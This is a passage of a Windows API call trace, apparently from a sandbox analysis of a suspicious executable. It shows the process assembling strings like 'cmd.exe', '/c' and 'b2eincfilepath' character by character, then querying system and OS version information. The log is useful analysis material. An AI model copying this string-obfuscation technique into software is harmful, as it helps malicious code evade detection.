Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.090] GetLastError () returned 0x0 [0062.090] SetLastError (dwErrCode=0x0) [0062.090] wcslen (_String="cm") returned 0x2 [0062.090] wcslen (_String="d") returned 0x1 [0062.090] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44928, Size=0x10) returned 0x1f44928 [0062.090] GetLastError () returned 0x0 [0062.090] SetLastError (dwErrCode=0x0) [0062.090] GetLastError () returned 0x0 [0062.090] SetLastError (dwErrCode=0x0) [0062.090] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.090] GetLastError () returned 0x0 [0062.090] SetLastError (dwErrCode=0x0) [0062.091] wcslen (_String=".") returned 0x1 [0062.091] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56ba8 [0062.091] GetLastError () returned 0x0 [0062.091] SetLastError (dwErrCode=0x0) [0062.091] GetLastError () returned 0x0 [0062.091] SetLastError (dwErrCode=0x0) [0062.091] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.091] GetLastError () returned 0x0 [0062.091] SetLastError (dwErrCode=0x0) [0062.091] wcslen (_String=".") returned 0x1 [0062.091] wcslen (_String="e") returned 0x1 [0062.091] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xe) returned 0x1f56bc0 [0062.091] GetLastError () returned 0x0 [0062.091] SetLastError (dwErrCode=0x0) [0062.091] GetLastError () returned 0x0 [0062.091] SetLastError (dwErrCode=0x0) [0062.091] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.091] GetLastError () returned 0x0 [0062.091] SetLastError (dwErrCode=0x0) [0062.091] wcslen (_String=".e") returned 0x2 [0062.091] wcslen (_String="x") returned 0x1 [0062.092] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bc0, Size=0x10) returned 0x1f56ba8 [0062.092] GetLastError () returned 0x0 [0062.092] SetLastError (dwErrCode=0x0) [0062.092] GetLastError () returned 0x0 [0062.092] SetLastError (dwErrCode=0x0) [0062.092] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.092] GetLastError () returned 0x0 [0062.092] SetLastError (dwErrCode=0x0) [0062.092] wcslen (_String=".ex") returned 0x3 [0062.092] wcslen (_String="e") returned 0x1 [0062.092] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0x12) returned 0x1f44940 [0062.092] GetLastError () returned 0x0 [0062.092] SetLastError (dwErrCode=0x0) [0062.092] GetLastError () returned 0x0 [0062.092] SetLastError (dwErrCode=0x0) [0062.092] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.092] GetLastError () returned 0x0 [0062.092] SetLastError (dwErrCode=0x0) [0062.092] wcslen (_String="/") returned 0x1 [0062.092] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56ba8 [0062.092] GetLastError () returned 0x0 [0062.092] SetLastError (dwErrCode=0x0) [0062.092] GetLastError () returned 0x0 [0062.093] SetLastError (dwErrCode=0x0) [0062.093] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.093] GetLastError () returned 0x0 [0062.093] SetLastError (dwErrCode=0x0) [0062.093] wcslen (_String="/") returned 0x1 [0062.093] wcslen (_String="c") returned 0x1 [0062.093] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xe) returned 0x1f56bc0 [0062.093] GetLastError () returned 0x0 [0062.093] SetLastError (dwErrCode=0x0) [0062.093] GetLastError () returned 0x0 [0062.093] SetLastError (dwErrCode=0x0) [0062.093] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.093] GetLastError () returned 0x0 [0062.093] SetLastError (dwErrCode=0x0) [0062.093] wcslen (_String="b") returned 0x1 [0062.093] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56ba8 [0062.093] GetLastError () returned 0x0 [0062.093] SetLastError (dwErrCode=0x0) [0062.093] GetLastError () returned 0x0 [0062.093] SetLastError (dwErrCode=0x0) [0062.093] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.093] GetLastError () returned 0x0 [0062.094] SetLastError (dwErrCode=0x0) [0062.094] wcslen (_String="b") returned 0x1 [0062.094] wcslen (_String="2") returned 0x1 [0062.094] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xe) returned 0x1f56bd8 [0062.094] GetLastError () returned 0x0 [0062.094] SetLastError (dwErrCode=0x0) [0062.094] GetLastError () returned 0x0 [0062.094] SetLastError (dwErrCode=0x0) [0062.094] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.094] GetLastError () returned 0x0 [0062.094] SetLastError (dwErrCode=0x0) [0062.094] wcslen (_String="b2") returned 0x2 [0062.094] wcslen (_String="e") returned 0x1 [0062.094] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0x10) returned 0x1f56ba8 [0062.094] GetLastError () returned 0x0 [0062.094] SetLastError (dwErrCode=0x0) [0062.094] GetLastError () returned 0x0 [0062.094] SetLastError (dwErrCode=0x0) [0062.094] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.094] GetLastError () returned 0x0 [0062.094] SetLastError (dwErrCode=0x0) [0062.094] wcslen (_String="b2e") returned 0x3 [0062.095] wcslen (_String="i") returned 0x1 [0062.095] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0x12) returned 0x1f44960 [0062.095] GetLastError () returned 0x0 [0062.095] SetLastError (dwErrCode=0x0) [0062.095] GetLastError () returned 0x0 [0062.095] SetLastError (dwErrCode=0x0) [0062.095] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.095] GetLastError () returned 0x0 [0062.095] SetLastError (dwErrCode=0x0) [0062.095] wcslen (_String="b2ei") returned 0x4 [0062.095] wcslen (_String="n") returned 0x1 [0062.095] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44960, Size=0x14) returned 0x1f44960 [0062.095] GetLastError () returned 0x0 [0062.095] SetLastError (dwErrCode=0x0) [0062.096] GetLastError () returned 0x0 [0062.096] SetLastError (dwErrCode=0x0) [0062.096] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.096] GetLastError () returned 0x0 [0062.096] SetLastError (dwErrCode=0x0) [0062.096] wcslen (_String="b2ein") returned 0x5 [0062.096] wcslen (_String="c") returned 0x1 [0062.096] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44960, Size=0x16) returned 0x1f44960 [0062.096] GetLastError () returned 0x0 [0062.096] SetLastError (dwErrCode=0x0) [0062.096] GetLastError () returned 0x0 [0062.096] SetLastError (dwErrCode=0x0) [0062.097] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.097] GetLastError () returned 0x0 [0062.097] SetLastError (dwErrCode=0x0) [0062.097] wcslen (_String="b2einc") returned 0x6 [0062.097] wcslen (_String="f") returned 0x1 [0062.097] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44960, Size=0x18) returned 0x1f44960 [0062.097] GetLastError () returned 0x0 [0062.097] SetLastError (dwErrCode=0x0) [0062.097] GetLastError () returned 0x0 [0062.097] SetLastError (dwErrCode=0x0) [0062.097] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.097] GetLastError () returned 0x0 [0062.097] SetLastError (dwErrCode=0x0) [0062.097] wcslen (_String="b2eincf") returned 0x7 [0062.097] wcslen (_String="i") returned 0x1 [0062.097] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44960, Size=0x1a) returned 0x1f44960 [0062.097] GetLastError () returned 0x0 [0062.097] SetLastError (dwErrCode=0x0) [0062.097] GetLastError () returned 0x0 [0062.097] SetLastError (dwErrCode=0x0) [0062.098] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.098] GetLastError () returned 0x0 [0062.098] SetLastError (dwErrCode=0x0) [0062.098] wcslen (_String="b2eincfi") returned 0x8 [0062.098] wcslen (_String="l") returned 0x1 [0062.098] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44960, Size=0x1c) returned 0x1f44960 [0062.098] GetLastError () returned 0x0 [0062.098] SetLastError (dwErrCode=0x0) [0062.098] GetLastError () returned 0x0 [0062.098] SetLastError (dwErrCode=0x0) [0062.098] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.098] GetLastError () returned 0x0 [0062.098] SetLastError (dwErrCode=0x0) [0062.098] wcslen (_String="b2eincfil") returned 0x9 [0062.098] wcslen (_String="e") returned 0x1 [0062.098] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44960, Size=0x1e) returned 0x1f44960 [0062.098] GetLastError () returned 0x0 [0062.098] SetLastError (dwErrCode=0x0) [0062.098] GetLastError () returned 0x0 [0062.098] SetLastError (dwErrCode=0x0) [0062.098] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.098] GetLastError () returned 0x0 [0062.098] SetLastError (dwErrCode=0x0) [0062.099] wcslen (_String="b2eincfile") returned 0xa [0062.099] wcslen (_String="p") returned 0x1 [0062.099] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44960, Size=0x20) returned 0x1f44960 [0062.099] GetLastError () returned 0x0 [0062.099] SetLastError (dwErrCode=0x0) [0062.099] GetLastError () returned 0x0 [0062.099] SetLastError (dwErrCode=0x0) [0062.099] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.099] GetLastError () returned 0x0 [0062.099] SetLastError (dwErrCode=0x0) [0062.099] wcslen (_String="b2eincfilep") returned 0xb [0062.099] wcslen (_String="a") returned 0x1 [0062.099] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44960, Size=0x22) returned 0x1f44960 [0062.099] GetLastError () returned 0x0 [0062.099] SetLastError (dwErrCode=0x0) [0062.099] GetLastError () returned 0x0 [0062.099] SetLastError (dwErrCode=0x0) [0062.099] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.099] GetLastError () returned 0x0 [0062.099] SetLastError (dwErrCode=0x0) [0062.099] wcslen (_String="b2eincfilepa") returned 0xc [0062.099] wcslen (_String="t") returned 0x1 [0062.100] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44960, Size=0x24) returned 0x1f44960 [0062.100] GetLastError () returned 0x0 [0062.100] SetLastError (dwErrCode=0x0) [0062.100] GetLastError () returned 0x0 [0062.100] SetLastError (dwErrCode=0x0) [0062.100] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.100] GetLastError () returned 0x0 [0062.100] SetLastError (dwErrCode=0x0) [0062.100] wcslen (_String="b2eincfilepat") returned 0xd [0062.100] wcslen (_String="h") returned 0x1 [0062.100] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44960, Size=0x26) returned 0x1f44960 [0062.100] GetLastError () returned 0x0 [0062.100] SetLastError (dwErrCode=0x0) [0062.100] GetLastError () returned 0x0 [0062.100] SetLastError (dwErrCode=0x0) [0062.100] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.100] GetLastError () returned 0x0 [0062.100] SetLastError (dwErrCode=0x0) [0062.100] wcslen (_String="b") returned 0x1 [0062.100] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56ba8 [0062.100] GetLastError () returned 0x0 [0062.100] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.100] GetLastError () returned 0x0 [0062.101] wcslen (_String="b") returned 0x1 [0062.101] wcslen (_String="2") returned 0x1 [0062.101] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xe) returned 0x1f56bd8 [0062.101] GetLastError () returned 0x0 [0062.101] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.101] GetLastError () returned 0x0 [0062.101] wcslen (_String="b2") returned 0x2 [0062.101] wcslen (_String="e") returned 0x1 [0062.101] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0x10) returned 0x1f56ba8 [0062.101] GetLastError () returned 0x0 [0062.101] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.101] GetLastError () returned 0x0 [0062.101] wcslen (_String="b2e") returned 0x3 [0062.101] wcslen (_String="i") returned 0x1 [0062.101] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0x12) returned 0x1f44990 [0062.101] GetLastError () returned 0x0 [0062.101] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.101] GetLastError () returned 0x0 [0062.101] wcslen (_String="b2ei") returned 0x4 [0062.101] wcslen (_String="n") returned 0x1 [0062.101] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x14) returned 0x1f44990 [0062.101] GetLastError () returned 0x0 [0062.101] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.101] GetLastError () returned 0x0 [0062.101] wcslen (_String="b2ein") returned 0x5 [0062.102] wcslen (_String="c") returned 0x1 [0062.102] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x16) returned 0x1f44990 [0062.102] GetLastError () returned 0x0 [0062.102] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.102] GetLastError () returned 0x0 [0062.102] wcslen (_String="b2einc") returned 0x6 [0062.102] wcslen (_String="f") returned 0x1 [0062.102] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x18) returned 0x1f44990 [0062.102] GetLastError () returned 0x0 [0062.102] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.102] GetLastError () returned 0x0 [0062.102] wcslen (_String="b2eincf") returned 0x7 [0062.102] wcslen (_String="i") returned 0x1 [0062.102] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x1a) returned 0x1f44990 [0062.102] GetLastError () returned 0x0 [0062.102] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.102] GetLastError () returned 0x0 [0062.102] wcslen (_String="b2eincfi") returned 0x8 [0062.102] wcslen (_String="l") returned 0x1 [0062.102] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x1c) returned 0x1f44990 [0062.102] GetLastError () returned 0x0 [0062.103] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.103] GetLastError () returned 0x0 [0062.103] wcslen (_String="b2eincfil") returned 0x9 [0062.103] wcslen (_String="e") returned 0x1 [0062.103] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x1e) returned 0x1f44990 [0062.103] GetLastError () returned 0x0 [0062.103] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.103] GetLastError () returned 0x0 [0062.103] wcslen (_String="b2eincfile") returned 0xa [0062.103] wcslen (_String="c") returned 0x1 [0062.103] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x20) returned 0x1f44990 [0062.103] GetLastError () returned 0x0 [0062.103] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.103] GetLastError () returned 0x0 [0062.103] wcslen (_String="b2eincfilec") returned 0xb [0062.103] wcslen (_String="o") returned 0x1 [0062.103] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x22) returned 0x1f44990 [0062.103] GetLastError () returned 0x0 [0062.103] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.103] GetLastError () returned 0x0 [0062.103] wcslen (_String="b2eincfileco") returned 0xc [0062.103] wcslen (_String="u") returned 0x1 [0062.103] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x24) returned 0x1f44990 [0062.103] GetLastError () returned 0x0 [0062.103] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.104] GetLastError () returned 0x0 [0062.104] wcslen (_String="b2eincfilecou") returned 0xd [0062.104] wcslen (_String="n") returned 0x1 [0062.104] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x26) returned 0x1f44990 [0062.104] GetLastError () returned 0x0 [0062.104] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.104] GetLastError () returned 0x0 [0062.104] wcslen (_String="b2eincfilecoun") returned 0xe [0062.104] wcslen (_String="t") returned 0x1 [0062.104] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44990, Size=0x28) returned 0x1f44990 [0062.104] GetLastError () returned 0x0 [0062.104] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.104] GetLastError () returned 0x0 [0062.104] wcslen (_String="b") returned 0x1 [0062.104] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56ba8 [0062.104] GetLastError () returned 0x0 [0062.104] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.104] GetLastError () returned 0x0 [0062.104] wcslen (_String="b") returned 0x1 [0062.104] wcslen (_String="2") returned 0x1 [0062.104] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xe) returned 0x1f56bd8 [0062.104] GetLastError () returned 0x0 [0062.104] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.104] GetLastError () returned 0x0 [0062.105] wcslen (_String="b2") returned 0x2 [0062.105] wcslen (_String="e") returned 0x1 [0062.105] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0x10) returned 0x1f56ba8 [0062.105] GetLastError () returned 0x0 [0062.105] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.105] GetLastError () returned 0x0 [0062.105] wcslen (_String="b2e") returned 0x3 [0062.105] wcslen (_String="i") returned 0x1 [0062.105] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0x12) returned 0x1f573a8 [0062.105] GetLastError () returned 0x0 [0062.105] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.105] GetLastError () returned 0x0 [0062.105] wcslen (_String="b2ei") returned 0x4 [0062.105] wcslen (_String="n") returned 0x1 [0062.105] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573a8, Size=0x14) returned 0x1f573c8 [0062.105] GetLastError () returned 0x0 [0062.105] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.105] GetLastError () returned 0x0 [0062.105] wcslen (_String="b2ein") returned 0x5 [0062.105] wcslen (_String="c") returned 0x1 [0062.105] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573c8, Size=0x16) returned 0x1f573a8 [0062.105] GetLastError () returned 0x0 [0062.105] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.106] GetLastError () returned 0x0 [0062.106] wcslen (_String="b2einc") returned 0x6 [0062.106] wcslen (_String="f") returned 0x1 [0062.106] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573a8, Size=0x18) returned 0x1f573c8 [0062.106] GetLastError () returned 0x0 [0062.106] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.106] GetLastError () returned 0x0 [0062.106] wcslen (_String="b2eincf") returned 0x7 [0062.106] wcslen (_String="i") returned 0x1 [0062.106] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573c8, Size=0x1a) returned 0x1f449c0 [0062.106] GetLastError () returned 0x0 [0062.106] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.106] GetLastError () returned 0x0 [0062.106] wcslen (_String="b2eincfi") returned 0x8 [0062.106] wcslen (_String="l") returned 0x1 [0062.106] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f449c0, Size=0x1c) returned 0x1f449c0 [0062.106] GetLastError () returned 0x0 [0062.106] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.106] GetLastError () returned 0x0 [0062.106] wcslen (_String="b2eincfil") returned 0x9 [0062.106] wcslen (_String="e") returned 0x1 [0062.106] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f449c0, Size=0x1e) returned 0x1f449c0 [0062.106] GetLastError () returned 0x0 [0062.106] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.106] GetLastError () returned 0x0 [0062.106] wcslen (_String="E") returned 0x1 [0062.107] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56ba8 [0062.107] GetLastError () returned 0x0 [0062.107] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.107] GetLastError () returned 0x0 [0062.107] wcslen (_String="E") returned 0x1 [0062.107] wcslen (_String="r") returned 0x1 [0062.107] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xe) returned 0x1f56bd8 [0062.107] GetLastError () returned 0x0 [0062.107] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.107] GetLastError () returned 0x0 [0062.107] wcslen (_String="Er") returned 0x2 [0062.107] wcslen (_String="r") returned 0x1 [0062.107] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0x10) returned 0x1f56ba8 [0062.107] GetLastError () returned 0x0 [0062.107] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.107] GetLastError () returned 0x0 [0062.107] wcslen (_String="Err") returned 0x3 [0062.107] wcslen (_String="o") returned 0x1 [0062.107] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0x12) returned 0x1f573c8 [0062.107] GetLastError () returned 0x0 [0062.107] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.107] GetLastError () returned 0x0 [0062.107] wcslen (_String="Erro") returned 0x4 [0062.107] wcslen (_String="r") returned 0x1 [0062.107] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573c8, Size=0x14) returned 0x1f573a8 [0062.108] GetLastError () returned 0x0 [0062.108] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.108] GetLastError () returned 0x0 [0062.108] wcslen (_String="e") returned 0x1 [0062.108] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56ba8 [0062.108] GetLastError () returned 0x0 [0062.108] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.108] GetLastError () returned 0x0 [0062.108] wcslen (_String="e") returned 0x1 [0062.108] wcslen (_String="x") returned 0x1 [0062.108] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xe) returned 0x1f56bd8 [0062.108] GetLastError () returned 0x0 [0062.108] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.108] GetLastError () returned 0x0 [0062.108] wcslen (_String="ex") returned 0x2 [0062.108] wcslen (_String="t") returned 0x1 [0062.108] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0x10) returned 0x1f56ba8 [0062.108] GetLastError () returned 0x0 [0062.108] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.108] GetLastError () returned 0x0 [0062.108] wcslen (_String="ext") returned 0x3 [0062.108] wcslen (_String="d") returned 0x1 [0062.108] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0x12) returned 0x1f573c8 [0062.108] GetLastError () returned 0x0 [0062.108] wcslen (_String="extd") returned 0x4 [0062.109] wcslen (_String=".exe") returned 0x4 [0062.109] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573c8, Size=0x1a) returned 0x1f489a8 [0062.109] GetLastError () returned 0x0 [0062.109] wcslen (_String="cmd") returned 0x3 [0062.109] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x10) returned 0x1f56ba8 [0062.109] wcslen (_String=".exe") returned 0x4 [0062.109] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x12) returned 0x1f573c8 [0062.109] GetNativeSystemInfo (in: lpSystemInfo=0x18fef0 | out: lpSystemInfo=0x18fef0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0062.109] GetVersionExW (in: lpVersionInformation=0x18fbcc*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x1f48988, dwMinorVersion=0x78000, dwBuildNumber=0x1f500d8, dwPlatformId=0xb, szCSDVersion="ø") | out: lpVersionInformation=0x18fbcc*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0062.109] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77640000 [0062.109] GetProcAddress (hModule=0x77640000, lpProcName="RtlGetVersion") returned 0x7767873a [0062.109] RtlGetVersion (in: lpVersionInformation=0x18fce0 | out: lpVersionInformation=0x18fce0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0062.109] GetLastError () returned 0x0 [0062.109] SetLastError (dwErrCode=0x0) [0062.109] GetLastError () returned 0x0 [0062.109] SetLastError (dwErrCode=0x0) [0062.110] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x100a) returned 0x1f49190 [0062.110] 